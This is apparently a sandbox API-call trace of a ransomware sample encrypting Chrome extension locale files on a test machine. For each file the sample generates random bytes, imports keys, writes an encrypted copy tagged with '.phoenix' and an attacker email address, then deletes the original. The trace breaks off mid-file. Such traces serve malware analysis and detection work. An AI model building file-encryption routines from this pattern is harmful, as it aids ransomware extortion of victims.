	[0261.732] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.732] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.732] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=523) returned 1
	[0261.732] CloseHandle (hObject=0x250) returned 1
	[0261.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json")) returned 0x20
	[0261.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.733] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.733] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.733] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.733] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0261.733] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151040) returned 1
	[0261.733] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.733] ReadFile (in: hFile=0x250, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x20b, lpOverlapped=0x0) returned 1
	[0261.734] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x210, dwBufLen=0x210 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x210) returned 1
	[0261.734] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x210, lpOverlapped=0x0) returned 1
	[0261.735] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151300) returned 1
	[0261.735] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.735] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0261.735] CryptDestroyKey (hKey=0x151300) returned 1
	[0261.735] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0261.736] CryptDestroyKey (hKey=0x151040) returned 1
	[0261.736] CloseHandle (hObject=0x250) returned 1
	[0261.736] CloseHandle (hObject=0x2e4) returned 1
	[0261.736] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json")) returned 1
	[0261.737] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.737] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0261.737] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=177) returned 1
	[0261.738] CloseHandle (hObject=0x2e4) returned 1
	[0261.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json")) returned 0x20
	[0261.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.738] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0261.738] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.738] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.738] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.739] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151540) returned 1
	[0261.739] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.739] ReadFile (in: hFile=0x2e4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xb1, lpOverlapped=0x0) returned 1
	[0261.754] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0, dwBufLen=0xc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0) returned 1
	[0261.825] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc0, lpOverlapped=0x0) returned 1
	[0261.853] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1513c0) returned 1
	[0261.853] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.853] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0261.853] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0261.853] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0261.853] CryptDestroyKey (hKey=0x151540) returned 1
	[0261.853] CloseHandle (hObject=0x2e4) returned 1
	[0261.853] CloseHandle (hObject=0x250) returned 1
	[0261.854] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json")) returned 1
	[0261.855] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.855] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\si\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\si\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.855] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=334) returned 1
	[0261.855] CloseHandle (hObject=0x250) returned 1
	[0261.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\si\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\si\\messages.json")) returned 0x20
	[0261.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\si\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\si\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.856] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\si\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\si\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.856] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.856] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.856] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\si\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\si\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0261.857] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151740) returned 1
	[0261.857] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.857] ReadFile (in: hFile=0x250, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x14e, lpOverlapped=0x0) returned 1
	[0261.858] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x150, dwBufLen=0x150 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x150) returned 1
	[0261.858] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x150, lpOverlapped=0x0) returned 1
	[0261.859] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151500) returned 1
	[0261.859] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.859] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0261.859] CryptDestroyKey (hKey=0x151500) returned 1
	[0261.859] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0261.860] CryptDestroyKey (hKey=0x151740) returned 1
	[0261.860] CloseHandle (hObject=0x250) returned 1
	[0261.860] CloseHandle (hObject=0x2e4) returned 1
	[0261.860] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\si\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\si\\messages.json")) returned 1
	[0261.861] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.861] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0261.862] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=197) returned 1
	[0261.862] CloseHandle (hObject=0x2e4) returned 1
	[0261.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sk\\messages.json")) returned 0x20
	[0261.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.862] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0261.862] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.862] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.863] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.863] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1516c0) returned 1
	[0261.863] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.863] ReadFile (in: hFile=0x2e4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xc5, lpOverlapped=0x0) returned 1
	[0261.865] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0, dwBufLen=0xd0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0) returned 1
	[0261.865] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xd0, lpOverlapped=0x0) returned 1
	[0261.870] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151200) returned 1
	[0261.870] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.870] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0261.871] CryptDestroyKey (hKey=0x151200) returned 1
	[0261.871] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0261.871] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0261.871] CloseHandle (hObject=0x2e4) returned 1
	[0261.871] CloseHandle (hObject=0x250) returned 1
	[0261.871] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sk\\messages.json")) returned 1
	[0261.872] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.872] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.873] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=190) returned 1
	[0261.873] CloseHandle (hObject=0x250) returned 1
	[0261.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sl\\messages.json")) returned 0x20
	[0261.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.873] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.873] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.873] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
